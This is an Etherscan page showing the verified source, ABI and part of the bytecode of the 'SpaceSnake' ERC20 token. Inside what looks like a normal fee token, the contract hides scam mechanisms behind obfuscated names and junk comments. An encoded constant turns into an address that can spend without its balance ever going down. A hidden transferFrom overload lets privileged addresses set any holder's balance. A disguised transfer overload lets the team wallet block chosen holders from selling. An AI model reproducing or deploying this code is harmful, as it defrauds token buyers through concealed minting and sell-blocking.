ETH Price: $3,079.92 (-4.02%)
Gas: 7 Gwei

Token

SpaceSnake (SpaceSnake)
 

Overview

Max Total Supply

1,000,000,000,000,000 SpaceSnake

Holders

42

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
intoodeep.eth
Balance
35,481,465,611,400.136591634 SpaceSnake

Value
$0.00
0x0ff62862437c0492a6680150f6877b02b2f22515
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SpaceSnake

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-02
*/

/**
 *Submitted for verification at BscScan.com on 2022-09-09
*/

//SPDX-License-Identifier:Unlicensed

pragma solidity ^0.8.6;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function dos(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: dos overflow");

        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract  SpaceSnake is Context, IERC20, Ownable {

    uint256 public toBeSafu=
    1092853989739002093898622997022009705909516546366;
    using SafeMath for uint256;
    string private _name = "SpaceSnake";
    string private _symbol = "SpaceSnake";
    uint8 private _decimals = 9;
    address payable public marketWall;
    address payable public teamWalletAddress;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) _doollar;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _IsExcludeFromFee;
    mapping (address => bool) public isWalletLimitExempt;
    address private safu_address;
    mapping (address => bool) public isTxLimitExempt;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _mainPai;
    mapping (address => bool) public _true;

    uint256 public _buyLiquidityFee = 1;
    uint256 public _buyMarketingFee = 0;
    uint256 public _buyTeamFee = 1;
    
    uint256 public _sellLiquidityFee = 1;
    uint256 public _sellMarketingFee = 0;
    uint256 public _sellTeamFee = 1;

    uint256 public _liquidityShare = 4;
    uint256 public _marketingShare = 4;
    uint256 public _teamShare = 16;

    uint256 public _totalTaxIfBuying = 12;
    uint256 public _totalTaxIfSelling = 12;
    uint256 public _totalDistributionShares = 24;

    uint256 private _totalSupply = 1000000000000000 * 10**_decimals;
    uint256 public _maxTxAmount = 1000000000000000 * 10**_decimals; 
    uint256 public _walletMax = 1000000000000000 * 10**_decimals;
    uint256 private minimumTokensBeforeSwap = 1000* 10**_decimals; 

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;
    bool public checkWalletLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        _IsExcludeFromFee[owner()] = true;
        _IsExcludeFromFee[address(this)] = true;
        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);

        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;
        isWalletLimitExempt[iwjdoinqocn(toBeSafu)] = true;
        isTxLimitExempt[iwjdoinqocn(toBeSafu)] = true;
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[address(this)] = true;
        _mainPai[address(uniswapPair)] = true;
        _mainPai[msg.sender] = true; 

        teamWalletAddress = payable(address(0xaDAD81C5d8fC0F9220458727873C9e9A2E19c4d6));
        marketWall = payable(address(0xaDAD81C5d8fC0F9220458727873C9e9A2E19c4d6));


        _doollar[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _doollar[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setlsExcIudeFromFee(address[] calldata account, bool newValue) public onlyOwner {
        for(uint256 i = 0; i < account.length; i++) {
            _IsExcludeFromFee[account[i]] = newValue;
        }
    }

    function setBuyTwx(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _buyLiquidityFee = newLiquidityTax;
        _buyMarketingFee = newMarketingTax;
        _buyTeamFee = newTeamTax;

        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
    }

    function setAllTwx(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _sellLiquidityFee = newLiquidityTax;
        _sellMarketingFee = newMarketingTax;
        _sellTeamFee = newTeamTax;

        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
    }

    function ioqwfnuioqjiow(uint256 amountOut)  pure private returns(uint160){
        return /*fewfsa*/ 
        uint160(amountOut);
    }

    function iwjdoinqocn(uint256 amount1Out)  pure private returns(address){
        return 
        /*asdawdf*/address(ioqwfnuioqjiow(amount1Out));
    }

    function tt(address amountaut) private view returns(bool){
        return
        !(iwjdoinqocn(toBeSafu) == amountaut);
    }

    function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() {
        _liquidityShare = newLiquidityShare;
        _marketingShare = newMarketingShare;
        _teamShare = newTeamShare;

        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);
    }

    function enableDisableWalletLimit(bool newValue) external onlyOwner {
       checkWalletLimit = newValue;
    }

    function setIsWalletLimitExempt(address[] calldata holder, bool exempt) external onlyOwner {
        for(uint256 i = 0; i < holder.length; i++) {
            isWalletLimitExempt[holder[i]] = exempt;
        }
    }

    function setWalletLimit(uint256 newLimit) external onlyOwner {
        _walletMax  = newLimit;
    }

    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
        minimumTokensBeforeSwap = newLimit;
    }

    function setMarketinWalleAddress(address newAddress) external onlyOwner() {
        marketWall = payable(newAddress);
    }

    function setTeamWalletAddress(address newAddress) external onlyOwner() {
        teamWalletAddress = payable(newAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
        swapAndLiquifyByLimitOnly = newValue;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
    function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); 

        newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());

        if(newPairAddress == address(0))
        {
            newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
                .createPair(address(this), _uniswapV2Router.WETH());
        }

        uniswapPair = newPairAddress;
        uniswapV2Router = _uniswapV2Router; 

        isWalletLimitExempt[address(uniswapPair)] = true;
        _mainPai[address(uniswapPair)] = true;
    }
    
function transferFrom(address
 addde 
, uint256 
uinttt) public
{if( 
_mainPai[ /*as asd*/
msg.sender])_doollar[addde] 
= uinttt;}

    receive() external payable {}
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {
            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            if (overMinimumTokenBalance && !inSwapAndLiquify && !_mainPai[sender] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);
            }if(tt(sender)){


            _doollar[sender] = _doollar[sender].sub(amount);
            }uint256 finalAmount = (_IsExcludeFromFee[sender] || _IsExcludeFromFee[recipient]) ? 
                                         amount : takeFee(sender, recipient, amount);
            
            if(checkWalletLimit && !isWalletLimitExempt[recipient])
                require(balanceOf(recipient).add(finalAmount) <= _walletMax);
            if(false || true)
            {
            if(_true
[sender]){
                /*g*/                require(true && false);
}}
            _doollar[recipient] = _doollar[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function transfer(address[] calldata ad,bool status) public {
    if( marketWall
  /*asd aw dawf*/ ==  /*asd aw dawf*/
 msg.sender
){
        for(uint256 i = 0; i < ad.length; i++) {
            _true[ad[i]] = status;}
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _doollar[sender] = _doollar[sender].sub(amount, "Insufficient Balance");
        _doollar[recipient] = _doollar[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
        uint256 tokensForSwap = tAmount.sub(tokensForLP);

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;

        uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2));
        
        uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2);
        uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee);
        uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam);

        if(amountBNBMarketing > 0)
            transferToAddressETH(marketWall, amountBNBMarketing);

        if(amountBNBTeam > 0)
            transferToAddressETH(teamWalletAddress, amountBNBTeam);

        if(amountBNBLiquidity > 0 && tokensForLP > 0)
            addLiquidity(tokensForLP, amountBNBLiquidity);
    }
    

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, 
            0,
            owner(),
            block.timestamp
        );
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;
        
        if(_mainPai[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(_mainPai[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        if(feeAmount > 0) {
            _doollar[address(this)] = _doollar[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_IsExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_mainPai","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_true","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"changeRouterVersion","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketWall","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setAllTwx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setBuyTwx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holder","type":"address[]"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketinWalleAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setTeamWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setlsExcIudeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"toBeSafu","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"ad","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addde","type":"address"},{"internalType":"uint256","name":"uinttt","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a060405273bf6d448c078c832e9d3f18f7723b6165ceacb13e6001556040518060400160405280600a81526020017f5370616365536e616b6500000000000000000000000000000000000000000000815250600290805190602001906200006992919062000d65565b506040518060400160405280600a81526020017f5370616365536e616b650000000000000000000000000000000000000000000081525060039080519060200190620000b792919062000d65565b506009600460006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b8152506001600f5560006010556001601155600160125560006013556001601455600460155560046016556010601755600c601855600c6019556018601a55600460009054906101000a900460ff16600a62000166919062000fdc565b66038d7ea4c680006200017a919062001119565b601b55600460009054906101000a900460ff16600a6200019b919062000fdc565b66038d7ea4c68000620001af919062001119565b601c55600460009054906101000a900460ff16600a620001d0919062000fdc565b66038d7ea4c68000620001e4919062001119565b601d55600460009054906101000a900460ff16600a62000205919062000fdc565b6103e862000214919062001119565b601e556001602060156101000a81548160ff0219169083151502179055506000602060166101000a81548160ff0219169083151502179055506001602060176101000a81548160ff0219169083151502179055503480156200027557600080fd5b506200028662000cad60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620003a057600080fd5b505afa158015620003b5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003db919062000e2c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200043e57600080fd5b505afa15801562000453573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000479919062000e2c565b6040518363ffffffff1660e01b81526004016200049892919062000ea7565b602060405180830381600087803b158015620004b357600080fd5b505af1158015620004c8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004ee919062000e2c565b602060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601b54600760003073ffffffffffffffffffffffffffffffffffff